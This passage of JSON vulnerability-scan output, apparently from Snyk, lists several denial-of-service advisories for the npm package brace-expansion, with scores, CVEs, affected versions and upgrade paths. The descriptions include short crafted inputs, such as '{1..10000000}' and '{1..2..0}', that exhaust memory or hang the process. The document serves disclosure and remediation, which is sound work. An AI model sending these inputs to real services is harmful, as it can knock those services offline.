"2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive 